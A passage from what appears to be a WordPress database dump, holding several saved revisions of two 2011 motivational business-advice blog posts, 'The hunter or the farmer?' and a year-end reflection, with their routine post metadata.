control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\n\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\n\n<strong>The big decision hunters need to make.</strong>\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\n\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\n\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-5', '', '', '2011-12-04 17:01:06', '2011-12-05 00:01:06', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-5/', 0, 'revision', '', 0),
(1824, 2, '2011-12-04 17:04:44', '2011-12-05 00:04:44', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\n\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\n\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\n\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\n\nLet that not be you,\n<h2>In your busness development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\n\n<strong>Will you be the farmer or the hunter?</strong>\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\n\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\n\n<strong>The big decision hunters need to make.</strong>\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\n\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\n\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-6', '', '', '2011-12-04 17:04:44', '2011-12-05 00:04:44', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-6/', 0, 'revision', '', 0),
(1825, 2, '2011-12-04 17:08:24', '2011-12-05 00:08:24', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you,\r\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-7', '', '', '2011-12-04 17:08:24', '2011-12-05 00:08:24', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-7/', 0, 'revision', '', 0),
(1827, 2, '2011-12-04 17:10:31', '2011-12-05 00:10:31', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you!\r\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-9', '', '', '2011-12-04 17:10:31', '2011-12-05 00:10:31', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-9/', 0, 'revision', '', 0),
(1826, 2, '2011-12-04 17:08:31', '2011-12-05 00:08:31', '<p><img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" /></p>\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\n<p>For many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.</p>\r\n<p>As a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?</p>\r\n<p>Thinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).</p>\r\n<p>I formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.</p>\r\n<p>Let that not be you,</p>\r\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\n<p>Your decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.</p>\r\n<p><strong>Will you be the farmer or the hunter?</strong><br />\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.</p>\r\n<p>I was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.</p>\r\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\r\n<p>On the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.</p>\r\n<p><strong>The big decision hunters need to make.</strong><br />\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.</p>\r\n<p>To be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.</p>\r\n<p><strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong></p>\r\n', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-8', '', '', '2011-12-04 17:08:31', '2011-12-05 00:08:31', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-8/', 0, 'revision', '', 0),
(1829, 2, '2011-12-04 17:13:23', '2011-12-05 00:13:23', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\n\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\n\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\n\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\n\nLet that not be you!\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” side of the business– building new relationships, discovering new opportunity, providing more value, and developing future business with higher value clients.\n\n<strong>Will you be the farmer or the hunter?</strong>\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\n\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\n\n<strong>The big decision hunters need to make.</strong>\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\n\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\n\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-11', '', '', '2011-12-04 17:13:23', '2011-12-05 00:13:23', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-11/', 0, 'revision', '', 0),
(1828, 2, '2011-12-04 17:11:29', '2011-12-05 00:11:29', '<img class="alignnone size-full wp-image-1818" title="hunterfarmer" src="http://whc.fbdev.org/wp-content/uploads/2011/12/hunterfarmer.jpg" alt="" width="495" height="221" />\r\n<h1>As a self-employed creative professional, particularly at the beginning of your business success, it’s wise to ponder whether you will build your future being a hunter or a farmer.</h1>\r\nFor many creative people, their talent, skill or craft is the white hot center of why they’re in business–they love doing the “work”!  That’s what drives their energy and passion for success! That said– to sustain and grow a business, other skills and capabilities need to be present as well.\r\n\r\nAs a business owner, there’s a fundamental decision you’ll need to make early in the game–will you work on your business or in it? Will you be a rugged individualist (hunt) on your own, or will you collaborate (farm) with others?\r\n\r\nThinking back on the early development in my creative business, I was convinced I had to know everything and do everything in my business. If I was going to be successful, I had to get the work, then do the work, then rinse and repeat. After all, I was a motivated self-starter out on the frontier of my new business. Early on, I valued control (hunting for today) over collaboration (farming for tomorrow).\r\n\r\nI formed the narrow and limiting belief that I was the only reason I had clients. Everyone else in my organization was there to support me. I was out in front of everything. I was working very hard in my business taking anything that came my way.\r\n\r\nLet that not be you!\r\n<h2>In your business development, it would be wise to ponder whether you will build your future being a rugged individualist working hard in your business, or as collaborator free to work on your business.</h2>\r\nYour decision has important ramifications for how you will build your business and what your future will look like.  If you’re a rugged individualist and you want to control the “creative output” of your business, then you’ll need to seek collaborators who will focus on the “input” side of the business– building new relationships, discovering new opportunity providing more value, and developing future business with higher value clients.\r\n\r\n<strong>Will you be the farmer or the hunter?</strong>\r\nFarmers favor co-operation and collaboration, hunters favor individual control. A farming business is based on planting and harvesting. A hunting business is killing and eating.\r\n\r\nI was a hunter–very skilled at killing and survival. My horizon for survival was always immediate and in real time. I was in a constant hunt for projects and struggling to make enough money to sustain the business. As is the case with most hunters, I had more capacity than opportunity. As you can imagine, being responsible for delivering and transacting, I spent very little time in my business day planting seeds for the future.\r\n<h1>The trouble with a hunting business is when the game is scarce, hunters will eat anything.</h1>\r\nOn the other hand, farmers, use the law of cause and effect to create their bigger future. They plant and then they sow. The mindset is on multiplying and abundance. Farmers work on their business. A farming business is a more valuable financial asset than a hunting business. When you stop hunting, there is no business.\r\n\r\n<strong>The big decision hunters need to make.</strong>\r\nIf you’re the rugged individualist-hunter type, focusing your creative energies working in your business–killing and eating the current opportunity–then you might want to consider making the big decision to collaborate with a farmer type who will plant the seeds of a more sustainable and profitable future.\r\n\r\nTo be sure, a successful business requires both farming and hunting skill if you are to have a continuous supply of opportunity that will exceed your capacity. When your opportunities exceed your capacity, two strategic things will happen– you’ll be more choosy about what clients you’ll take on, and you’ll command premium pricing.\r\n\r\n<strong>From my experience it’s the farmer who experiences more creative freedom and sustained prosperity. As best you can, develop the discipline to work on your business.  Farm don’t hunt.</strong>', 'The hunter or the farmer?', 0, '', 'inherit', 'open', 'open', '', '1817-revision-10', '', '', '2011-12-04 17:11:29', '2011-12-05 00:11:29', '', 1817, 'http://www.whitehotcenter.com/uncategorized/1817-revision-10/', 0, 'revision', '', 0),
(1831, 2, '2011-12-16 15:24:51', '2011-12-16 22:24:51', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate any of your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nDespite any evidence that nothing is working, everything you desire to bring to the world begins within you. When you know why you’re engaged in something really important to you, it gets easier to believe everything required to make it happen you already have within you. You can''t create anything from “out there”.\r\n\r\nIn spite of the challenges of  this past year and those to come next, I am, more than ever, committed to my vision for a bigger future. My purpose provides the  reason why I continue to keep moving, learning and growing each and every day:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express ideas, forms and structures people can use as maps and vehicles for their success journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love working and collaborating with successful people who value my contributions to their success. All that’s required for my success available to me at all times. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. Why not make 2012 the best year yet? To all the good readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'publish', 'open', 'open', '', 'the-official-white-hot-center-2011year-end-rant', '', '', '2011-12-16 15:24:51', '2011-12-16 22:24:51', '', 0, 'http://www.whitehotcenter.com/?p=1831', 0, 'post', '', 1),
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(1833, 2, '2011-12-16 14:52:53', '2011-12-16 21:52:53', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\n\nYear end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.\n\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\n\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\n\n•     why am I following this vision?\n•     why am I still driven to keep going?\n•     why do I want this desire?\n\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\n\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\n\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\n\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\n\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\n\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\nAt the end of the day, everything you desire is within you to bring out into the world. When you know why you’re doing something important to you, it gets easier to see everything you require to make it happen you already have within you. There’s nothing “out there”.\n\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\n\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\n\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\n\nThere you have it. To all the readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\n\nThanks for all your comments, support, trust and confidence in my work here.\n\nTo your inspired success,\n\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision', '', '', '2011-12-16 14:52:53', '2011-12-16 21:52:53', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision/', 0, 'revision', '', 0),
(1834, 2, '2011-12-16 14:53:46', '2011-12-16 21:53:46', '<img class="alignnone size-full wp-image-1832" title="why-" src="http://whc.fbdev.org/wp-content/uploads/2011/12/why-.jpg" alt="" width="495" height="223" />\r\n<h1><span style="color: #808080;">Year end is a fitting time to check in, take the pulse, and add up the score. With that in mind, allow me to share the Official White Hot Center 2011Year End Rant.</span></h1>\r\nFor many people following a vision for a bigger future, it’s common practice at year-end to check the score, assess the situation, take your pulse, make plans, and set goals for the next round of accomplishments in the year to come.\r\n\r\nIf you’re the type who engages in year-end ruminations and goal setting, it’s a good idea to begin the process by asking yourself these questions:\r\n\r\n•     why am I following this vision?\r\n•     why am I still driven to keep going?\r\n•     why do I want this desire?\r\n\r\nHaving clarity about these answers is essential if you’re to continue to engage and pursue your vision for a bigger future with joy, passion and lightheartedness. After all, the whole idea here is to be creating your life in an easy and relaxed manner-in a healthy and positive way!\r\n<h2>You need to stay deeply connected to the purpose behind all your desires for accomplishment. Without purpose driving the desire for accomplishment, you’ll never appreciate your accomplishments.</h2>\r\nWith that in mind, allow me to share the Official White Hot Center 2011 Year End Rant. It has been a particularly challenging year. I sum it up this way:\r\n\r\nI feel like a racehorse trapped in the barn.  I’m kicking hard to bust out, expending precious energy needed for the race. And make no mistake I want to run (and win) some more races. Here I am with all this talent and capability, yet everything I am doing sounds like one hand clapping.  I feel frustrated, anxious, irritated, blocked and stuck.\r\n\r\n<strong>Right now, I’m asking myself the tough “why” questions.  Why am I doing this?</strong>\r\n\r\nLike you, I have a vision for my life and I’m committed to achieving it.  I’m asking “what’s working, what’s not” with all the year-end introspection and reflection I can muster. I’m once again connecting to my answer to “why do I want this?  My answer keeps me in the game!\r\n\r\nThe risks and challenges involved in the creation and realization of any vision will always bring you back to your purpose–your reason for being here and doing here. Risks and challenges will always be present for entrepreneurs. They’re baked into the experience of being the type person who creates value for others first.  There are no guarantees things will work out–even when you play by the rules and do the right things.\r\n\r\nFor many of my colleagues and clients this has been a challenging year too. Our economic malaise is a shadow cast over everything right now. There is a heavy worry tax paid on every business development activity. It’s getting more difficult to connect and be in front of the right people who represent the best opportunity.\r\n<h2>Knowing why you’re still stoked to be in the game is essential to keep you in the game.</h2>\r\nAt the end of the day, everything you desire is within you to bring out into the world. When you know why you’re doing something important to you, it gets easier to see everything you require to make it happen you already have within you. There’s nothing “out there”.\r\n\r\nIn spite of the challenges this past year and those to come next, here’s why I’m still committed to pursuing my vision for a bigger future:\r\n\r\n<strong>My purpose is to share my talent, expertise, knowledge and wisdom helping creative people BELIEVE and SEE their vision for a bigger future. I love to create and express, ideas, forms and structures people can use as maps and vehicles for their journey.</strong>\r\n\r\n<strong>I’m so happy and grateful NOW that I am creating the success I desire doing what really matters to me. I love to work with successful people who value my contributions to their success. All that’s required for my success is always available to me. I am creating the life I desire in an easy and relaxed manner, in a healthy and positive way.</strong>\r\n\r\nThere you have it. To all the readers of the growing White Hot Center blog, I wish you a joyous Holiday Season and PROSPERITY in the New Year!\r\n\r\nThanks for all your comments, support, trust and confidence you have given my work here. To your inspired success,\r\n\r\nThomson', 'The Official White Hot Center 2011Year-End Rant.', 0, '', 'inherit', 'open', 'open', '', '1831-revision-2', '', '', '2011-12-16 14:53:46', '2011-12-16 21:53:46', '', 1831, 'http://www.whitehotcenter.com/uncategorized/1831-revision-2/', 0, 'revision', '', 0),
